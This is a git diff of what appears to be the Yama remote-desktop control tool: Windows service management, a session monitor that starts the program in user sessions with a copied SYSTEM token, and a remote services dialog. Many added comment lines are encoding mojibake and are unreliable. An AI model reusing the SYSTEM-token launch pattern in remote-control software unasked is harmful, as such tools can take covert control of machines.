SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return FALSE;
}
// 打开服务
// 鎵撳紑鏈嶅姟
SC_HANDLE hService = OpenServiceA(
hSCM,
SERVER_SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
if (!hService) {
CloseServiceHandle(hSCM);
return FALSE; // 未注册
return FALSE; // 鏈敞鍐?
}
*registered = TRUE;
// 获取服务状态
// 鑾峰彇鏈嶅姟鐘舵€?
SERVICE_STATUS_PROCESS ssp;
DWORD bytesNeeded = 0;
memset(&ssp, 0, sizeof(ssp));
@@ -54,7 +54,7 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
}
// 获取 EXE 路径
// 鑾峰彇 EXE 璺緞
if (exePath && exePathSize > 0) {
DWORD bufSize = 0;
QueryServiceConfigA(hService, NULL, 0, &bufSize);
@@ -77,13 +77,13 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
int ServerService_StartSimple(void)
{
// 打开SCM
// 鎵撳紑SCM
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return (int)GetLastError();
}
// 打开服务并启动
// 鎵撳紑鏈嶅姟骞跺惎鍔?
SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_START);
if (!hService) {
int err = (int)GetLastError();
@@ -91,7 +91,7 @@ int ServerService_StartSimple(void)
return err;
}
// 启动服务
// 鍚姩鏈嶅姟
BOOL ok = StartServiceA(hService, 0, NULL);
int err = ok ? ERROR_SUCCESS : (int)GetLastError();
@@ -124,13 +124,13 @@ int ServerService_Run(void)
int ServerService_Stop(void)
{
// 打开SCM
// 鎵撳紑SCM
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return (int)GetLastError();
}
// 打开服务
// 鎵撳紑鏈嶅姟
SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hService) {
int err = (int)GetLastError();
@@ -138,7 +138,7 @@ int ServerService_Stop(void)
return err;
}
// 查询当前状态
// 鏌ヨ褰撳墠鐘舵€?
SERVICE_STATUS status;
if (!QueryServiceStatus(hService, &status)) {
int err = (int)GetLastError();
@@ -147,14 +147,14 @@ int ServerService_Stop(void)
return err;
}
// 如果服务未运行,直接返回成功
// 濡傛灉鏈嶅姟鏈繍琛岋紝鐩存帴杩斿洖鎴愬姛
if (status.dwCurrentState == SERVICE_STOPPED) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return ERROR_SUCCESS;
}
// 发送停止控制命令
// 鍙戦€佸仠姝㈡帶鍒跺懡浠?
if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_NOT_ACTIVE) {
@@ -164,7 +164,7 @@ int ServerService_Stop(void)
}
}
// 等待服务停止最多30秒
// 绛夊緟鏈嶅姟鍋滄锛堟渶澶?0绉掞級
int waitCount = 0;
while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 30) {
Sleep(1000);
@@ -272,7 +272,7 @@ static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
}
}
// 服务工作线程
// 鏈嶅姟宸ヤ綔绾跨▼
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam)
{
(void)lpParam;
@@ -283,7 +283,7 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam)
Mprintf("Worker thread started");
Mprintf("Service will launch Yama GUI in user sessions");
// 初始化会话监控器
// 鍒濆鍖栦細璇濈洃鎺у櫒
ServerSessionMonitor monitor;
ServerSessionMonitor_Init(&monitor);
@@ -296,10 +296,10 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam)
Mprintf("Session monitor started successfully");
Mprintf("Yama GUI will be launched automatically in user sessions");
// 主循环,只等待停止信号
// 涓诲惊鐜紝鍙瓑寰呭仠姝俊鍙?
while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) {
heartbeatCount++;
if (heartbeatCount % 6 == 0) { // 每60秒记录一次10秒 * 6 = 60秒)
if (heartbeatCount % 6 == 0) { // 姣?0绉掕褰曚竴娆★紙10绉?* 6 = 60绉掞級
sprintf_s(buf, sizeof(buf), "Service heartbeat - uptime: %d minutes", heartbeatCount / 6);
Mprintf(buf);
}
@@ -337,7 +337,7 @@ BOOL ServerService_Install(void)
return FALSE;
}
// 添加 -service 参数
// 娣诲姞 -service 鍙傛暟
char szPathWithArg[MAX_PATH + 32];
sprintf_s(szPathWithArg, sizeof(szPathWithArg), "\"%s\" -service", szPath);
@@ -377,12 +377,12 @@ BOOL ServerService_Install(void)
Mprintf("SUCCESS: Service created successfully\n");
// 设置服务描述
// 璁剧疆鏈嶅姟鎻忚堪
SERVICE_DESCRIPTION sd;
sd.lpDescription = (LPSTR)SERVER_SERVICE_DESC;
ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd);
// 立即启动服务
// 绔嬪嵆鍚姩鏈嶅姟
DWORD err = 0;
Mprintf("Starting service...\n");
if (StartServiceA(schService, 0, NULL)) {
@@ -437,7 +437,7 @@ BOOL ServerService_Uninstall(void)
return FALSE;
}
// 停止服务
// 鍋滄鏈嶅姟
SERVICE_STATUS status;
Mprintf("Stopping service...\n");
if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) {
@@ -463,7 +463,7 @@ BOOL ServerService_Uninstall(void)
}
BOOL r = FALSE;
// 删除服务
// 鍒犻櫎鏈嶅姟
Mprintf("Deleting service...\n");
if (DeleteService(schService)) {
Mprintf("SUCCESS: Service uninstalled successfully\n");

View File

@@ -1,4 +1,4 @@
#ifndef SERVER_SERVICE_WRAPPER_H
#ifndef SERVER_SERVICE_WRAPPER_H
#define SERVER_SERVICE_WRAPPER_H
#include <windows.h>
@@ -7,54 +7,54 @@
extern "C" {
#endif
// 服务配置:服务端使用不同的服务名
// 鏈嶅姟閰嶇疆锛氭湇鍔$浣跨敤涓嶅悓鐨勬湇鍔″悕
#define SERVER_SERVICE_NAME "YamaControlService"
#define SERVER_SERVICE_DISPLAY "Yama Control Service"
#define SERVER_SERVICE_DESC "Provides remote desktop control server functionality."
/*
# 停止服务
# 鍋滄鏈嶅姟
net stop YamaControlService
# 查看状态(应该显示 STOPPED
# 鏌ョ湅鐘舵€侊紙搴旇鏄剧ず STOPPED锛?
sc query YamaControlService
# 启动服务
# 鍚姩鏈嶅姟
net start YamaControlService
# 再次查看状态(应该显示 RUNNING
# 鍐嶆鏌ョ湅鐘舵€侊紙搴旇鏄剧ず RUNNING锛?
sc query YamaControlService
*/
// 检查服务状态
// 参数:
// registered - 输出参数,服务是否已注册
// running - 输出参数,服务是否正在运行
// exePath - 输出参数服务可执行文件路径可为NULL
// exePathSize - exePath缓冲区大小
// 返回: 成功返回TRUE
// 妫€鏌ユ湇鍔$姸鎬?
// 鍙傛暟:
// registered - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚﹀凡娉ㄥ唽
// running - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚︽鍦ㄨ繍琛?
// exePath - 杈撳嚭鍙傛暟锛屾湇鍔″彲鎵ц鏂囦欢璺緞锛堝彲涓篘ULL锛?
// exePathSize - exePath缂撳啿鍖哄ぇ灏?
// 杩斿洖: 鎴愬姛杩斿洖TRUE
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize);
// 简单启动服务
// 返回: ERROR_SUCCESS 或错误码
// 绠€鍗曞惎鍔ㄦ湇鍔?
// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜
int ServerService_StartSimple(void);
// 运行服务(作为服务主入口)
// 返回: ERROR_SUCCESS 或错误码
// 杩愯鏈嶅姟锛堜綔涓烘湇鍔′富鍏ュ彛锛?
// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜
int ServerService_Run(void);
// 停止服务
// 返回: ERROR_SUCCESS 或错误码
// 鍋滄鏈嶅姟
// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜
int ServerService_Stop(void);
// 安装服务
// 瀹夎鏈嶅姟
BOOL ServerService_Install(void);
// 卸载服务
// 鍗歌浇鏈嶅姟
BOOL ServerService_Uninstall(void);
// 服务工作线程
// 鏈嶅姟宸ヤ綔绾跨▼
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam);
#ifdef __cplusplus

View File

@@ -1,4 +1,4 @@
#include "stdafx.h"
#include "stdafx.h"
#include "ServerSessionMonitor.h"
#include <stdio.h>
#include <tlhelp32.h>
@@ -6,10 +6,10 @@
#pragma comment(lib, "userenv.lib")
// 动态数组初始容量
// 鍔ㄦ€佹暟缁勫垵濮嬪閲?
#define INITIAL_CAPACITY 4
// 前向声明
// 鍓嶅悜澹版槑
static DWORD WINAPI MonitorThreadProc(LPVOID param);
static void MonitorLoop(ServerSessionMonitor* self);
static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId);
@@ -17,14 +17,14 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId);
static void TerminateAllGui(ServerSessionMonitor* self);
static void CleanupDeadProcesses(ServerSessionMonitor* self);
// 动态数组辅助函数
// 鍔ㄦ€佹暟缁勮緟鍔╁嚱鏁?
static void AgentArray_Init(ServerAgentProcessArray* arr);
static void AgentArray_Free(ServerAgentProcessArray* arr);
static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info);
static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index);
// ============================================
// 动态数组实现
// 鍔ㄦ€佹暟缁勫疄鐜?
// ============================================
static void AgentArray_Init(ServerAgentProcessArray* arr)
@@ -46,7 +46,7 @@ static void AgentArray_Free(ServerAgentProcessArray* arr)
static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info)
{
// 需要扩容
// 闇€瑕佹墿瀹?
if (arr->count >= arr->capacity) {
size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc(
@@ -69,7 +69,7 @@ static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index)
return;
}
// 后面的元素前移
// 鍚庨潰鐨勫厓绱犲墠绉?
for (size_t i = index; i < arr->count - 1; i++) {
arr->items[i] = arr->items[i + 1];
}
@@ -77,7 +77,7 @@ static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index)
}
// ============================================
// 公共接口实现
// 鍏叡鎺ュ彛瀹炵幇
// ============================================
void ServerSessionMonitor_Init(ServerSessionMonitor* self)
@@ -130,7 +130,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self)
if (self->monitorThread) {
DWORD waitResult = WaitForSingleObject(self->monitorThread, 10000);
if (waitResult == WAIT_TIMEOUT) {
// 线程未在规定时间内退出,强制终止
// 绾跨▼鏈湪瑙勫畾鏃堕棿鍐呴€€鍑猴紝寮哄埗缁堟
Mprintf("WARNING: Monitor thread did not exit in time, terminating...");
TerminateThread(self->monitorThread, 1);
}
@@ -138,7 +138,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self)
self->monitorThread = NULL;
}
// 终止所有GUI进程
// 缁堟鎵€鏈塆UI杩涚▼
Mprintf("Terminating all GUI processes...");
// TerminateAllGui(self);
@@ -147,7 +147,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self)
}
// ============================================
// 内部函数实现
// 鍐呴儴鍑芥暟瀹炵幇
// ============================================
static DWORD WINAPI MonitorThreadProc(LPVOID param)
@@ -167,10 +167,10 @@ static void MonitorLoop(ServerSessionMonitor* self)
while (self->running) {
loopCount++;
// 清理已终止的进程
// 娓呯悊宸茬粓姝㈢殑杩涚▼
CleanupDeadProcesses(self);
// 枚举所有会话
// 鏋氫妇鎵€鏈変細璇?
PWTS_SESSION_INFO pSessionInfo = NULL;
DWORD dwCount = 0;
@@ -184,7 +184,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
DWORD sessionId = pSessionInfo[i].SessionId;
foundActiveSession = TRUE;
// 记录会话每5次循环记录一次避免日志过多
// 璁板綍浼氳瘽锛堟瘡5娆″惊鐜褰曚竴娆★紝閬垮厤鏃ュ織杩囧锛?
if (loopCount % 5 == 1) {
sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s",
(int)sessionId,
@@ -192,21 +192,21 @@ static void MonitorLoop(ServerSessionMonitor* self)
Mprintf(buf);
}
// 检查GUI是否在该会话中运行
// 妫€鏌UI鏄惁鍦ㄨ浼氳瘽涓繍琛?
if (!IsGuiRunningInSession(self, sessionId)) {
sprintf_s(buf, sizeof(buf), "GUI not running in session %d, launching...", (int)sessionId);
Mprintf(buf);
if (LaunchGuiInSession(self, sessionId)) {
Mprintf("GUI launched successfully");
// 给程序一些时间启动
// 缁欑▼搴忎竴浜涙椂闂村惎鍔?
Sleep(2000);
} else {
Mprintf("Failed to launch GUI");
}
}
// 只处理第一个活动会话
// 鍙鐞嗙涓€涓椿鍔ㄤ細璇?
break;
}
}
@@ -222,7 +222,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
}
}
// 每10秒检查一次
// 姣?0绉掓鏌ヤ竴娆?
for (int j = 0; j < 100 && self->running; j++) {
Sleep(100);
}
@@ -233,15 +233,15 @@ static void MonitorLoop(ServerSessionMonitor* self)
static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
{
(void)self; // 未使用
(void)self; // 鏈娇鐢?
// 获取当前进程的 exe 名称
// 鑾峰彇褰撳墠杩涚▼鐨?exe 鍚嶇О
char currentExeName[MAX_PATH];
if (!GetModuleFileNameA(NULL, currentExeName, MAX_PATH)) {
return FALSE;
}
// 获取文件名(不含路径)
// 鑾峰彇鏂囦欢鍚嶏紙涓嶅惈璺緞锛?
char* pFileName = strrchr(currentExeName, '\\');
if (pFileName) {
pFileName++;
@@ -249,10 +249,10 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
pFileName = currentExeName;
}
// 获取当前服务进程的 PID
// 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨?PID
DWORD currentPID = GetCurrentProcessId();
// 创建进程快照
// 鍒涘缓杩涚▼蹇収
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
Mprintf("CreateToolhelp32Snapshot failed");
@@ -265,18 +265,18 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
if (Process32First(hSnapshot, &pe32)) {
do {
// 查找同名的 exe
// 鏌ユ壘鍚屽悕鐨?exe
if (_stricmp(pe32.szExeFile, pFileName) == 0) {
// 排除服务进程自己
// 鎺掗櫎鏈嶅姟杩涚▼鑷繁
if (pe32.th32ProcessID == currentPID) {
continue;
}
// 获取进程的会话ID
// 鑾峰彇杩涚▼鐨勪細璇滻D
DWORD procSessionId;
if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) {
if (procSessionId == sessionId) {
// 找到了:同名 exe不同 PID在目标会话中
// 鎵惧埌浜嗭細鍚屽悕 exe锛屼笉鍚?PID锛屽湪鐩爣浼氳瘽涓?
found = TRUE;
break;
}
@@ -289,7 +289,7 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
return found;
}
// 终止所有GUI进程
// 缁堟鎵€鏈塆UI杩涚▼
static void TerminateAllGui(ServerSessionMonitor* self)
{
char buf[256];
@@ -306,18 +306,18 @@ static void TerminateAllGui(ServerSessionMonitor* self)
(int)info->processId, (int)info->sessionId);
Mprintf(buf);
// 检查进程是否还活着
// 妫€鏌ヨ繘绋嬫槸鍚﹁繕娲荤潃
DWORD exitCode;
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode == STILL_ACTIVE) {
// 进程还在运行,终止它
// 杩涚▼杩樺湪杩愯锛岀粓姝㈠畠
if (!TerminateProcess(info->hProcess, 0)) {
sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d",
(int)info->processId, (int)GetLastError());
Mprintf(buf);
} else {
Mprintf("GUI terminated successfully");
// 等待进程完全退出
// 绛夊緟杩涚▼瀹屽叏閫€鍑?
WaitForSingleObject(info->hProcess, 5000);
}
} else {
@@ -330,13 +330,13 @@ static void TerminateAllGui(ServerSessionMonitor* self)
SAFE_CLOSE_HANDLE(info->hProcess);
}
self->agentProcesses.count = 0; // 清空列表
self->agentProcesses.count = 0; // 娓呯┖鍒楄〃
LeaveCriticalSection(&self->csProcessList);
Mprintf("All GUI processes terminated");
}
// 清理已经终止的进程
// 娓呯悊宸茬粡缁堟鐨勮繘绋?
static void CleanupDeadProcesses(ServerSessionMonitor* self)
{
char buf[256];
@@ -350,17 +350,17 @@ static void CleanupDeadProcesses(ServerSessionMonitor* self)
DWORD exitCode;
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
// 进程已退出
// 杩涚▼宸查€€鍑?
sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d, cleaning up",
(int)info->processId, (int)exitCode);
Mprintf(buf);
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue; // 不增加 i因为删除了元素
continue; // 涓嶅鍔?i锛屽洜涓哄垹闄や簡鍏冪礌
}
} else {
// 无法获取退出代码,可能进程已不存在
// 鏃犳硶鑾峰彇閫€鍑轰唬鐮侊紝鍙兘杩涚▼宸蹭笉瀛樺湪
sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d, removing from list",
(int)info->processId);
Mprintf(buf);
@@ -389,9 +389,9 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面
si.lpDesktop = (LPSTR)"winsta0\\default"; // 鍏抽敭锛氭寚瀹氭闈?
// 获取当前服务进程的 SYSTEM 令牌
// 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨?SYSTEM 浠ょ墝
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
sprintf_s(buf, sizeof(buf), "OpenProcessToken failed: %d", (int)GetLastError());
@@ -399,7 +399,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
return FALSE;
}
// 复制为可用于创建进程的主令牌
// 澶嶅埗涓哄彲鐢ㄤ簬鍒涘缓杩涚▼鐨勪富浠ょ墝
HANDLE hDupToken = NULL;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
@@ -409,7 +409,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
return FALSE;
}
// 修改令牌的会话 ID 为目标用户会话
// 淇敼浠ょ墝鐨勪細璇?ID 涓虹洰鏍囩敤鎴蜂細璇?
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf_s(buf, sizeof(buf), "SetTokenInformation failed: %d", (int)GetLastError());
Mprintf(buf);
@@ -420,7 +420,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
Mprintf("Token duplicated");
// 获取当前程序路径(就是自己)
// 鑾峰彇褰撳墠绋嬪簭璺緞锛堝氨鏄嚜宸憋級
char exePath[MAX_PATH];
if (!GetModuleFileNameA(NULL, exePath, MAX_PATH)) {
Mprintf("GetModuleFileName failed");
@@ -432,7 +432,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
sprintf_s(buf, sizeof(buf), "Service path: %s", exePath);
Mprintf(buf);
// 检查文件是否存在
// 妫€鏌ユ枃浠舵槸鍚﹀瓨鍦?
DWORD fileAttr = GetFileAttributesA(exePath);
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
sprintf_s(buf, sizeof(buf), "ERROR: Executable not found at: %s", exePath);
@@ -442,14 +442,14 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
return FALSE;
}
// 构建命令行:同一个 exe 但添加 -agent 参数
// 鏋勫缓鍛戒护琛岋細鍚屼竴涓?exe锛?浣嗘坊鍔?-agent 鍙傛暟
char cmdLine[MAX_PATH + 20];
sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent", exePath);
sprintf_s(buf, sizeof(buf), "Command line: %s", cmdLine);
Mprintf(buf);
// 获取用户令牌(用于获取环境块)
// 鑾峰彇鐢ㄦ埛浠ょ墝锛堢敤浜庤幏鍙栫幆澧冨潡锛?
LPVOID lpEnvironment = NULL;
HANDLE hUserToken = NULL;
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
@@ -457,7 +457,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
Mprintf(buf);
}
// 使用用户令牌创建环境块
// 浣跨敤鐢ㄦ埛浠ょ墝鍒涘缓鐜鍧?
if (hUserToken) {
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
Mprintf("CreateEnvironmentBlock failed");
@@ -465,17 +465,17 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
SAFE_CLOSE_HANDLE(hUserToken);
}
// 在用户会话中创建进程GUI程序不隐藏窗口
// 鍦ㄧ敤鎴蜂細璇濅腑鍒涘缓杩涚▼锛圙UI绋嬪簭锛屼笉闅愯棌绐楀彛锛?
BOOL result = CreateProcessAsUserA(
hDupToken,
NULL, // 应用程序名(在命令行中解析)
cmdLine, // 命令行参数:Yama.exe -agent
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW
lpEnvironment, // 环境变量
NULL, // 当前目录
NULL, // 搴旂敤绋嬪簭鍚嶏紙鍦ㄥ懡浠よ涓В鏋愶級
cmdLine, // 鍛戒护琛屽弬鏁帮細Yama.exe -agent
NULL, // 杩涚▼瀹夊叏灞炴€?
NULL, // 绾跨▼瀹夊叏灞炴€?
FALSE, // 涓嶇户鎵垮彞鏌?
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI绋嬪簭涓嶉渶瑕?CREATE_NO_WINDOW
lpEnvironment, // 鐜鍙橀噺
NULL, // 褰撳墠鐩綍
&si,
&pi
);
@@ -488,22 +488,22 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
sprintf_s(buf, sizeof(buf), "SUCCESS: GUI process created (PID=%d)", (int)pi.dwProcessId);
Mprintf(buf);
// 保存进程信息,以便停止时可以终止它
// 淇濆瓨杩涚▼淇℃伅锛屼互渚垮仠姝㈡椂鍙互缁堟瀹?
EnterCriticalSection(&self->csProcessList);
ServerAgentProcessInfo info;
info.processId = pi.dwProcessId;
info.sessionId = sessionId;
info.hProcess = pi.hProcess; // 不关闭句柄,留着后面终止
info.hProcess = pi.hProcess; // 涓嶅叧闂彞鏌勶紝鐣欑潃鍚庨潰缁堟
AgentArray_Add(&self->agentProcesses, &info);
LeaveCriticalSection(&self->csProcessList);
SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
SAFE_CLOSE_HANDLE(pi.hThread); // 绾跨▼鍙ユ焺鍙互鍏抽棴
} else {
DWORD err = GetLastError();
sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err);
Mprintf(buf);
// 提供更详细的错误信息
// 鎻愪緵鏇磋缁嗙殑閿欒淇℃伅
if (err == ERROR_FILE_NOT_FOUND) {
Mprintf("ERROR: Executable not found");
} else if (err == ERROR_ACCESS_DENIED) {

View File

@@ -1,4 +1,4 @@
#ifndef SERVER_SESSION_MONITOR_H
#ifndef SERVER_SESSION_MONITOR_H
#define SERVER_SESSION_MONITOR_H
#include <windows.h>
@@ -10,21 +10,21 @@ extern "C" {
#pragma comment(lib, "wtsapi32.lib")
// GUI进程信息
// GUI杩涚▼淇℃伅
typedef struct ServerAgentProcessInfo {
DWORD processId;
DWORD sessionId;
HANDLE hProcess;
} ServerAgentProcessInfo;
// GUI进程数组(动态数组)
// GUI杩涚▼鏁扮粍锛堝姩鎬佹暟缁勶級
typedef struct ServerAgentProcessArray {
ServerAgentProcessInfo* items;
size_t count;
size_t capacity;
} ServerAgentProcessArray;
// 会话监控器结构
// 浼氳瘽鐩戞帶鍣ㄧ粨鏋?
typedef struct ServerSessionMonitor {
HANDLE monitorThread;
BOOL running;
@@ -32,16 +32,16 @@ typedef struct ServerSessionMonitor {
ServerAgentProcessArray agentProcesses;
} ServerSessionMonitor;
// 初始化会话监控器
// 鍒濆鍖栦細璇濈洃鎺у櫒
void ServerSessionMonitor_Init(ServerSessionMonitor* self);
// 清理会话监控器资源
// 娓呯悊浼氳瘽鐩戞帶鍣ㄨ祫婧?
void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self);
// 启动会话监控
// 鍚姩浼氳瘽鐩戞帶
BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self);
// 停止会话监控
// 鍋滄浼氳瘽鐩戞帶
void ServerSessionMonitor_Stop(ServerSessionMonitor* self);
#ifdef __cplusplus

View File

@@ -1,4 +1,4 @@
// ServicesDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// ServicesDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -7,11 +7,11 @@
#include "afxdialogex.h"
// CServicesDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CServicesDlg 对话框
IMPLEMENT_DYNAMIC(CServicesDlg, CDialog)
// ItemData1 <EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>ItemDataͬ<EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD>ͬ<EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// ItemData1 不要和ItemData同名了,同名的话调试会有问题
typedef struct ItemData1 {
CString Data[5];
CString GetData(int index) const
@@ -50,7 +50,7 @@ BEGIN_MESSAGE_MAP(CServicesDlg, CDialog)
END_MESSAGE_MAP()
// CServicesDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CServicesDlg 消息处理程序
BOOL CServicesDlg::OnInitDialog()
@@ -60,19 +60,19 @@ BOOL CServicesDlg::OnInitDialog()
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
CString strString;
strString.Format("%s - <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",m_IPAddress);
strString.Format("%s - 服务管理",m_IPAddress);
SetWindowText(strString);
m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT);
m_ControlList.InsertColumn(0, "<EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 150);
m_ControlList.InsertColumn(1, "<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 260);
m_ControlList.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 80);
m_ControlList.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬", LVCFMT_LEFT, 80);
m_ControlList.InsertColumn(4, "<EFBFBD><EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>·<EFBFBD><EFBFBD>", LVCFMT_LEFT, 380);
m_ControlList.InsertColumn(0, "真实名称", LVCFMT_LEFT, 150);
m_ControlList.InsertColumn(1, "显示名称", LVCFMT_LEFT, 260);
m_ControlList.InsertColumn(2, "启动类型", LVCFMT_LEFT, 80);
m_ControlList.InsertColumn(3, "运行状态", LVCFMT_LEFT, 80);
m_ControlList.InsertColumn(4, "可执行文件路径", LVCFMT_LEFT, 380);
ShowServicesList();
return TRUE; // return TRUE unless you set the focus to a control
// <EFBFBD>: OCX <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳӦ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> FALSE
// 异常: OCX 属性页应返回 FALSE
}
int CServicesDlg::ShowServicesList(void)
@@ -107,7 +107,7 @@ int CServicesDlg::ShowServicesList(void)
}
CString strTemp;
strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:%d",i);
strTemp.Format("服务个数:%d",i);
m_ServicesCount.SetWindowText(strTemp);
@@ -117,7 +117,7 @@ int CServicesDlg::ShowServicesList(void)
void CServicesDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -155,11 +155,11 @@ void CServicesDlg::OnServicesStart()
